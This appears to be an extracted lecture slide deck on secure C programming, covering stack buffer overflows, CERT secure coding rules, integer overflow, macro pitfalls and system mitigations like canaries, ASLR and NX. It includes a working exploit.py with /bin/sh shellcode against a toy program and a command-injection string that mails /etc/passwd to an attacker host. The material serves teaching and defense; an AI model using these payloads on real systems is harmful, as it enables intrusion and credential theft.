Vous êtes sur la page 1sur 68

Secure Programming in C

Lef Ioannidis
MIT EECS

January 5, 2014

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Introductions

Me
Junior at MIT, course 6.2. Interested in Computer Security,
Operating Systems, Distributed Computing and System
Administration.

You
Computer programmers with knowledge in C and Systems,
can read assembly, interested in writing secure code.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Vulnerability statistics over the years (NIST)

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Lecture Roadmap

What we will cover:


Example attacks and exploits.
C-specific prevention & mitigation.
System-wide prevention & mitigation.

Target: GNU/Linux systems.


CC: GCC >= 4.4.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Case study: the notorious buffer overflow


A buffer overflow example.

Figure : From Wikimedia commons, buffer overflow basic example.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Memory Management: Linux

http://duartes.org/gustavo/blog/
Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Vulnerable code
1

#i n c l u d e <s t r i n g . h >

2
3

#d e f i n e g o o d P a s s GOODPASS

4
5
6
7

i n t main ( ) {
c h a r p a s s I s G o o d =0 ;
char buf [ 8 0 ] ;

p r i n t f ( E n t e r p a s s w o r d : \ n ) ;
gets ( buf ) ;

9
10
11

i f ( s t r c m p ( buf , g o o d P a s s )==0)
p a s s I s G o o d =1 ;
i f ( p a s s I s G o o d == 1 )
p r i n t f ( You win ! \ n ) ;

12
13
14
15
16

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Our first exploit

/bin/bash
$ python -c " print x*80 + \x01 " | ./test1
Enter password:
You win!
$

courier

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Our first exploit

/bin/bash
$ python -c " print x*80 + \x01 " | ./test1
Enter password:
You win!
$

courier

Line 10: gets(buf);


Never use gets(). - GNU Man pages(3), gets()

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Secure version of previous code


1
2

#i n c l u d e <s t r i n g . h >
#i n c l u d e <s t d i o . h >

3
4
5

#d e f i n e g o o d P a s s GOODPASS
#d e f i n e STRSIZE 80

6
7
8
9

i n t main ( ) {
c h a r p a s s I s G o o d =0 ;
c h a r b u f [ STRSIZE+1] ;

10

p r i n t f ( E n t e r p a s s w o r d : \ n ) ;
f g e t s ( buf , STRSIZE , s t d i n ) ;

11
12
13

i f ( s t r n c m p ( buf , goodPass , STRSIZE)==0)


p a s s I s G o o d =1 ;
i f ( p a s s I s G o o d == 1 )
p r i n t f ( You win ! \ n ) ;

14
15
16
17
18

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

The stack: Linux

Dowd, McDonald, Schuh-The art of software security assesment,fig: 5.3


Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Stack frames: C

How functions are pushed in the stack:


1
2
3
4

void function ( int a , int b , int c ) {


char buffer1 [ 5 ] ;
char buffer2 [ 1 0 ] ;
}

5
6
7
8

v o i d main ( ) {
function (1 ,2 ,3) ;
}

Aleph One - Smashing the stack for fun and profit


Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Stack frames: x86 assembly


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

function :
pushl
movl
subl
leave
ret
.size
. g l o b l main
.type
main :
pushl
movl
subl
movl
movl
movl
call
leave
ret

%ebp
%esp , %ebp
$16 , %e s p

f u n c t i o n , . f u n c t i o n
main , @ f u n c t i o n
%ebp
%esp , %ebp
$12 , %e s p
$3 , 8(% e s p )
$2 , 4(% e s p )
$1 , (% e s p )
function

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Stack operations to call function

1
2
3
4
5

subl
movl
movl
movl
call

$12 , %e s p
$3 , 8(% e s p )
$2 , 4(% e s p )
$1 , (% e s p )
function

3 sizeof(int) = 12 bytes.

Note: The arguments are in reverse order because the Linux


stack grows down.
Call will push the IP in the stack.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Stack operations to call function

1
2
3
4
5

subl
movl
movl
movl
call

$12 , %e s p
$3 , 8(% e s p )
$2 , 4(% e s p )
$1 , (% e s p )
function

1
2
3
4

function :
p u s h l %ebp
movl %esp , %ebp
s u b l $16 , %e s p

Pushes the base pointer (EBP) in the stack, now its a saved
frame pointer (SFP).
Moves the stack pointer (ESP) in EBP, substituting the
previous address.
Subtracts space for the local variables from ESP.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Smashing the stack


Using buffer overflow to overwrite a return address.

Figures: http://skyrooks.ru
Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Cool exercise: stack4.c

1
2
3

i n t main ( ) {
int cookie ;
char buf [ 8 0 ] ;

p r i n t f ( b u f : %08x c o o k i e : %08x \n , &buf , &c o o k i e ) ;


gets ( buf ) ;

5
6
7

i f ( c o o k i e == 0 x 0 0 0 a 0 d 0 0 )
p r i n t f ( you win ! \ n ) ;

8
9
10

http://community.corest.com/ gera/InsecureProgramming/
Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Cool exercise: stack4.c


1
2
3

i n t main ( ) {
int cookie ;
char buf [ 8 0 ] ;

p r i n t f ( b u f : %08x c o o k i e : %08x \n , &buf , &c o o k i e ) ;


gets ( buf ) ;

5
6
7

i f ( c o o k i e == 0 x 0 0 0 a 0 d 0 0 )
p r i n t f ( you win ! \ n ) ;

8
9
10

Still uses gets(), so it is vulnerable to buffer overflow.


0x000a0d00 == { NULL, new line, carriage return, NULL }
Impossible to write 0x000a0d00 to cookie because all these
bytes trigger gets() to stop reading characters.
We need to redirect program flow to printf(You win\n);
Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Overwriting the EIP


1
2
3

i n t main ( ) {
int cookie ;
char buf [ 8 0 ] ;

p r i n t f ( b u f : %08x c o o k i e : %08x \n , &buf , &c o o k i e ) ;


gets ( buf ) ;

5
6
7

i f ( c o o k i e == 0 x 0 0 0 a 0 d 0 0 )
p r i n t f ( you win ! \ n ) ;

8
9
10

When a function is called it imediatelly pushes the EIP into


the stack (SFP).
After it is complete a ret instruction pops the stack and
moves SFP back to EIP.
Trick: Overwrite the SFP, while its in the stack.
Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Exploiting stack#4.c

/bin/bash
$ gdb stack4
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
$

courier

EIP is overwritten! 0x61616161 = aaaa

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Now lets disassemble main()


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

0 x 08 0 4 84 2 4
0 x 08 0 4 84 2 5
0 x 08 0 4 84 2 7
0 x0804842a
0 x0804842d
0 x 08 0 4 84 3 1
0 x 08 0 4 84 3 5
0 x 08 0 4 84 3 9
0 x0804843d
0 x 08 0 4 84 4 4
0 x 08 0 4 84 4 9
0 x0804844d
0 x 08 0 4 84 5 0
0 x 08 0 4 84 5 5
0 x 08 0 4 84 5 9
0 x0804845e
0 x 08 0 4 84 6 0
0 x 08 0 4 84 6 7
0 x0804846c
0 x0804846d

<main+0>: pu sh
<main+1>: mov
<main+3>: and
<main+6>: s u b
<main+9>: l e a
<main +13>: mov
<main +17>: l e a
<main +21>: mov
<main +25>: movl
<main +32>: c a l l
<main +37>: l e a
<main +41>: mov
<main +44>: c a l l
<main +49>: mov
<main +53>: cmp
<main +58>: j n e
<main +60>: movl
<main +67>: c a l l
<main +72>: l e a v e
<main +73>: r e t

Lef Ioannidis
How to secure your stack for fun and profit

%ebp
%esp ,% ebp
$ 0 x f f f f f f f 0 ,% e s p
$0x70 ,% e s p
0 x 6 c(% e s p ) ,% e a x
%eax , 0 x8(% e s p )
0 x 1 c(% e s p ) ,% e a x
%eax , 0 x4(% e s p )
$0x8048530 ,(% e s p )
0 x8048350 < p r i n t f @ p l t >
0 x 1 c(% e s p ) ,% e a x
%eax ,(% e s p )
0 x8048330 <g e t s @ p l t >
0 x 6 c(% e s p ) ,% e a x
$0xa0d00 ,% e a x
0 x 8 0 4 8 4 6 c <main+72>
$0x8048548 ,(% e s p )
0 x8048360 <p u t s @ p l t >

MIT EECS

Registers
/bin/gdb stack4
(gdb) b *0x0804846d
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaa
Breakpoint 1, 0x0804846d in main () at stack4.c:13
(gdb) info registers
eax
0xb7fc8ff4 -1208184844
ecx
0xbffff58c -1073744500
edx
0xb7fca334 -1208179916
ebx
0xb7fc8ff4 -1208184844
esp
0xbffff5ec 0xbffff5ec
ebp
0xbffff668 0xbffff668
esi
0x0 0
edi
0x0 0
eip
0x804846d 0x804846d <main+73>

courier
Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

We have everything we need


buf: bffff58c
esp: 0xbffff5ec 0xbffff5ec
1
2
3
4

0 x 08 0 4 84 5 9
0 x0804845e
0 x 08 0 4 84 6 0
0 x 08 0 4 84 6 7

<main +53>:
<main +58>:
<main +60>:
<main +67>:

cmp
jne
movl
call

$0xa0d00 ,% e a x
0 x 8 0 4 8 4 6 c <main+72>
$0x8048548 ,(% e s p )
0 x8048360 <p u t s @ p l t >

0xbffff5ec 0xbffff58c = 0x00000060 = 96 bytes we need to overflow.


Jump to: 0x08048460
Linux Reverse stack \x60\x84\x04\x08

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Payload: Control Flow Redirection

/bin/bash
$ python -c print a * 96 + \x60\x84\x04\x08 |
./test1
buf: bffff58c cookie: bffff5dc
you win!
Segmentation fault
$

courier

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Payload: Getting shell


exploit.py
#!/usr/bin/env python
shellcode = \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\
x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\
x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\
xff\xff/bin/sh

courier

print shellcode + \x90 * 51 + \x5c\xb3\x04\x08

/bin/bash -> Got shell!


$ python exploit.py | ./stack4
buf: bffff58c cookie: bffff5dc
$

courier

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Other Attacks

- Off-by-one exploits
Common programming mistake when computing array boundaries.
In little endian architectures this can result in overwriting the least
significant byte.
Apache off-by-one bug 2007, sudo off-by-one bug 2008 etc.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Other Attacks

- Return-to-libc
Similar in principal to a buffer overflow but instead of executing
arbitrary shellcode you call functions from libc.so.
Works when a noexec stack is enforced.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Other Attacks

- Heap Overflow
Taking advantage of libc bugs to take over dynamicaly allocated
memory, or even the memory allocator itself. Many 0-day exploits
nowdays are heap overflows.
He who controls the allocator, controls the system! - Anonymous

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

More information

The Phrack magazine. (http://www.phrack.org)


The Defcon Conference. (http://www.defcon.org)
LL CTF, MIT SEC seminars. (http://llctf.mit.edu)

Next: C-specific prevention & mitigation

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Secure your code: CERT secure coding standards

Standards for C, C++ and Java (some still under


development).
Managed string library.
Real world examples of insecure code.
Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Learning by the coutner-example of others

Bad code examples will help you learn how to write secure code
and prevent:
Security Holes
Undefined beheaviour
Obscurity
Errors

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

String null termination errors#1

1
2
3

i n t main ( i n t a r g c , c h a r a r g v [ ] ) {
char cmdline [4096] ;
c m d l i n e [ 0 ] = \0 ;

f o r ( i n t i = 1 ; i < a r g c ; ++i ) {
s t r c a t ( cmdline , argv [ i ] ) ;
s t r c a t ( cmdline , ) ;
}
/ . . . /
return 0 ;

5
6
7
8
9
10
11

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Compliant code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

i n t main ( i n t a r g c , c h a r a r g v [ ] ) {
size t bufsize = 0;
size t buflen = 0 ;
c h a r c m d l i n e = NULL ;
f o r ( i n t i = 1 ; i < a r g c ; ++i ) {
const s i z e t len = s t r l e n ( argv [ i ] ) ;
i f ( b u f s i z e b u f l e n <= l e n ) {
bufsize = ( bufsize + len ) 2 ;
cmdline = r e a l l o c ( cmdline , b u f s i z e ) ;
i f (NULL == c m d l i n e )
return 1 ;
/ r e a l l o c f a i l u r e /
}
memcpy ( c m d l i n e + b u f l e n , a r g v [ i ] , l e n ) ;
b u f l e n += l e n ;
c m d l i n e [ b u f l e n ++] = ;
}
c m d l i n e [ b u f l e n ] = \0 ;
/ . . . /
f r e e ( cmdline ) ;
return 0 ;
}

21
Lef Ioannidis

How to secure your stack for fun and profit

MIT EECS

String null termination errors#2

c h a r b u f [ BUFSIZ ] ;

2
3
4
5

i f ( g e t s ( b u f ) == NULL) {
/ H a n d l e E r r o r /
}

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Compliant code
1
2
3

c h a r b u f [ BUFFERSIZE ] ;
i n t ch ;
c h a r p ;

4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

i f ( f g e t s ( buf , s i z e o f ( b u f ) , s t d i n ) ) {
/ f g e t s s u c c e e d s , s c a n f o r n e w l i n e c h a r a c t e r /
p = s t r c h r ( buf , \n ) ;
i f (p)
p = \0 ;
else {
/ n e w l i n e n o t found , f l u s h s t d i n t o end o f l i n e /
w h i l e ( ( ( ch = g e t c h a r ( ) ) != \n )
&& ! f e o f ( s t d i n )
&& ! f e r r o r ( s t d i n )
);
}
}
else {
/ f g e t s f a i l e d , h a n d l e e r r o r /
}

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

String null termination errors#3

1
2
3
4

char s t r i n g d a t a ;
char a [ 1 6 ] ;
/ . . . /
strncpy (a , string data ,

Lef Ioannidis
How to secure your stack for fun and profit

s i z e o f (a )) ;

MIT EECS

Compliant solution:

1
2

c h a r s t r i n g d a t a = NULL ;
char a [ 1 6 ] ;

3
4

/ . . . /

5
6
7
8
9
10
11
12
13
14

i f ( s t r i n g d a t a == NULL) {
/ H a n d l e n u l l p o i n t e r e r r o r /
}
e l s e i f ( s t r l e n ( s t r i n g d a t a ) >= s i z e o f ( a ) ) {
/ H a n d l e o v e r l o n g s t r i n g e r r o r /
}
else {
strcpy (a , string data ) ;
}

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Passing strings to complex subsystems

1
2

s p r i n t f ( b u f f e r , / b i n / m a i l %s < /tmp/ e m a i l , a d d r ) ;
system ( b u f f e r ) ;

Viega, John, & Messier, Matt. Secure Programming Cookbook for C and C++: Recipes for Cryptography,
Authentication, Networking, Input Validation & More.
Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Passing strings to complex subsystems

1
2

s p r i n t f ( b u f f e r , / b i n / m a i l %s < /tmp/ e m a i l , a d d r ) ;
system ( b u f f e r ) ;

What if:
bogus@addr.com; cat /etc/passwd |mail somebadguy.net

Viega, John, & Messier, Matt. Secure Programming Cookbook for C and C++: Recipes for Cryptography,
Authentication, Networking, Input Validation & More.
Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Compliant solution: Whitelisting

1
2
3
4
5
6
7
8
9
10
11

s t a t i c char ok chars [ ] = abcdefghijklmnopqrstuvwxyz


ABCDEFGHIJKLMNOPQRSTUVWXYZ
1234567890 .@ ;
c h a r u s e r d a t a [ ] = Bad c h a r 1 : } Bad c h a r 2 : { ;
c h a r cp = u s e r d a t a ; / c u r s o r i n t o s t r i n g /
c o n s t c h a r end = u s e r d a t a + s t r l e n ( u s e r d a t a ) ;
f o r ( cp += s t r s p n ( cp , o k c h a r s ) ;
cp != end ;
cp += s t r s p n ( cp , o k c h a r s ) ) {
cp = ;
}

Based on the tcp wrappers package written by Wietse Venema


Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Off-by-one errors
Can you find all the off-by-one errors?
1
2
3
4
5
6
7
8
9
10

i n t main ( i n t a r g c , c h a r a r g v [ ] ) {
char source [ 1 0 ] ;
s t r c p y ( s o u r c e , 0123456789 ) ;
char d e s t = ( char ) malloc ( s t r l e n ( s o u r c e ) ) ;
f o r ( i n t i =1 ; i <= 1 1 ; i ++) {
dest [ i ] = source [ i ] ;
}
d e s t [ i ] = \0 ;
p r i n t f ( d e s t = %s , d e s t ) ;
}

Robert Seacord, CERT: Safer strings in C


Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Integer overflow errors#1: Addition

u n s i g n e d i n t u i 1 , u i 2 , usum ;

2
3

/ I n i t i a l i z e

u i 1 and u i 2 /

4
5

usum = u i 1 + u i 2 ;

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Compliant code

u n s i g n e d i n t u i 1 , u i 2 , usum ;

2
3

/ I n i t i a l i z e

u i 1 and u i 2 /

4
5
6
7
8
9
10

i f (UINT MAX u i 1 < u i 2 ) {


/ h a n d l e e r r o r c o n d i t i o n /
}
else {
usum = u i 1 + u i 2 ;
}

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Integer overfloat errors#2: Subtraction

signed int si1 , si2 ,

result ;

2
3

/ I n i t i a l i z e

s i 1 and s i 2 /

4
5

result = si1 si2 ;

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Compliant code

signed int si1 , si2 ,

result ;

2
3

/ I n i t i a l i z e

s i 1 and s i 2 /

4
5
6
7
8
9
10
11

if

( ( s i 2 > 0 && s i 1 < INT MIN + s i 2 ) | |


( s i 2 < 0 && s i 1 > INT MAX + s i 2 ) ) {
/ h a n d l e e r r o r c o n d i t i o n /

}
else {
result = si1 si2 ;
}

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Integer overfloat errors#3: Multiplication

1
2

signed int si1 , si2 ,

result ;

3
4

/ . . . /

5
6

result = si1 si2 ;

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Compliant code
1

signed int si1 , si2 ,

result ;

2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

/ I n i t i a l i z e s i 1 and s i 2 /
static assert (
s i z e o f ( l o n g l o n g ) >= 2 s i z e o f ( i n t ) ,
Unable to d e t e c t o v e r f l o w a f t e r m u l t i p l i c a t i o n
);
s i g n e d l o n g l o n g tmp = ( s i g n e d l o n g l o n g ) s i 1
( signed long long ) s i 2 ;
/
I f t h e p r o d u c t c a n n o t be r e p r e s e n t e d a s a 32 b i t i n t e g e r ,
h a n d l e a s an e r r o r c o n d i t i o n .
/
i f ( ( tmp > INT MAX ) | | ( tmp < INT MIN ) ) {
/ h a n d l e e r r o r c o n d i t i o n /
}
else {
r e s u l t = ( i n t ) tmp ;
}

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

GCC Preprocessor: Inlines VS macros


Non-compliant code
1
2
3

#d e f i n e CUBE(X) ( ( X) (X) (X ) )
int i = 2;
i n t a = 81 / CUBE(++ i ) ;

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

GCC Preprocessor: Inlines VS macros


Non-compliant code
1
2
3

#d e f i n e CUBE(X) ( ( X) (X) (X ) )
int i = 2;
i n t a = 81 / CUBE(++ i ) ;

Expands to:
1

i n t a = 81 / ((++ i ) (++ i ) (++ i ) ) ; // U n d e f i n e d !

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

GCC Preprocessor: Inlines VS macros


Non-compliant code
1
2
3

#d e f i n e CUBE(X) ( ( X) (X) (X ) )
int i = 2;
i n t a = 81 / CUBE(++ i ) ;

Expands to:
1

i n t a = 81 / ((++ i ) (++ i ) (++ i ) ) ; // U n d e f i n e d !

Compliant code
1
2
3
4
5

i n l i n e i n t cube ( i n t i ) {
return i i i ;
}
int i = 2;
i n t a = 81 / c u b e(++ i ) ;

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Pointer arithmetic: Never for different arrays

1
2
3
4

i n t nums [ SIZE ] ;
c h a r s t r i n g s [ SIZE ] ;
i n t n e x t n u m p t r = nums ;
int free bytes ;

5
6

/ i n c r e m e n t n e x t n u m p t r a s a r r a y

f i l l s /

7
8

f r e e b y t e s = s t r i n g s ( char ) next num ptr ;

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Compliant solution

1
2
3
4

i n t nums [ SIZE ] ;
c h a r s t r i n g s [ SIZE ] ;
i n t n e x t n u m p t r = nums ;
int free bytes ;

5
6

/ i n c r e m e n t n e x t n u m p t r a s a r r a y

f i l l s /

7
8

f r e e b y t e s = (&( nums [ SIZE ] ) n e x t n u m p t r ) s i z e o f ( i n t ) ;

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

GCC Preprocessor: inlines VS macros

Non-compliant code
1
2

#d e f i n e F ( x ) (++ o p e r a t i o n s , ++c a l l s t o F , 2 x )
#d e f i n e G( x ) (++ o p e r a t i o n s , ++c a l l s t o G , x + 1 )

3
4

y = F ( x ) + G( x ) ;

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

GCC Preprocessor: inlines VS macros

Non-compliant code
1
2

#d e f i n e F ( x ) (++ o p e r a t i o n s , ++c a l l s t o F , 2 x )
#d e f i n e G( x ) (++ o p e r a t i o n s , ++c a l l s t o G , x + 1 )

3
4

y = F ( x ) + G( x ) ;

The variable operations is both read and modified twice in the


same expression, so it can receive the wrong value.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Compliant code

1
2
3
4
5
6
7
8
9
10

inline int f ( int x) {


++o p e r a t i o n s ;
++c a l l s t o f ;
r e t u r n 2 x ;
}
inline int g( int x) {
++o p e r a t i o n s ;
++c a l l s t o g ;
return x + 1 ;
}

11
12

y = f (x) + g(x) ;

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Advanced techniques for securing your code

Using secure libraries: Managed string library, Microsoft


secure string library, safeStr.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Advanced techniques for securing your code

Using secure libraries: Managed string library, Microsoft


secure string library, safeStr.
They provide alternatives to insecure standard C functions.
(ie: safeStr)
safestr
safestr
safestr
safestr
safestr
safestr
safestr
safestr

Lef Ioannidis
How to secure your stack for fun and profit

append()
nappend()
compare()
find()
copy()
length()
sprintf()
vsprintf()

strcat()
strncat()
strcpy()
strncpy()
strcmp()
strlen()
sprintf()
vsprintf()

MIT EECS

Advanced techniques for securing your code


Canaries
Terminator: NULL, CR, LF, -1. Weak because the canary is
known.
Random: Generating random bytes in the end of buffer during
runtime.
Random XOR: Random canaries XOR scrambled with all or
parts of the control data.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Protecting your System

WX protection, the data section on the stack is flagged as


not executable and the program memory as not writable.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Protecting your System

WX protection, the data section on the stack is flagged as


not executable and the program memory as not writable.
ASLR: Address space layout randomization. Randomly
allocate shared libraries, stack and heap.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Protecting your System

WX protection, the data section on the stack is flagged as


not executable and the program memory as not writable.
ASLR: Address space layout randomization. Randomly
allocate shared libraries, stack and heap.
Setting the NX bit: CPU support for flagging executable and
non-executable data. Reduces overhead for WX.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Protecting your System

WX protection, the data section on the stack is flagged as


not executable and the program memory as not writable.
ASLR: Address space layout randomization. Randomly
allocate shared libraries, stack and heap.
Setting the NX bit: CPU support for flagging executable and
non-executable data. Reduces overhead for WX.
iOS5: CSE: Code Signing Enforcement. Signing each
executable memory page and checking the CS VALID flag.
Prevents changes in executable code during runtime.

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Examples

PaX on Linux

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Examples

PaX on Linux
OpenBSD kernel

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Examples

PaX on Linux
OpenBSD kernel
Hardened Gentoo

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Examples

PaX on Linux
OpenBSD kernel
Hardened Gentoo
grsecurity

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Examples

PaX on Linux
OpenBSD kernel
Hardened Gentoo
grsecurity
Microsoft Windows Server 2008 R2

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Thats all!

Thank you. Questions?

Lef Ioannidis
How to secure your stack for fun and profit

MIT EECS

Vous aimerez peut-être aussi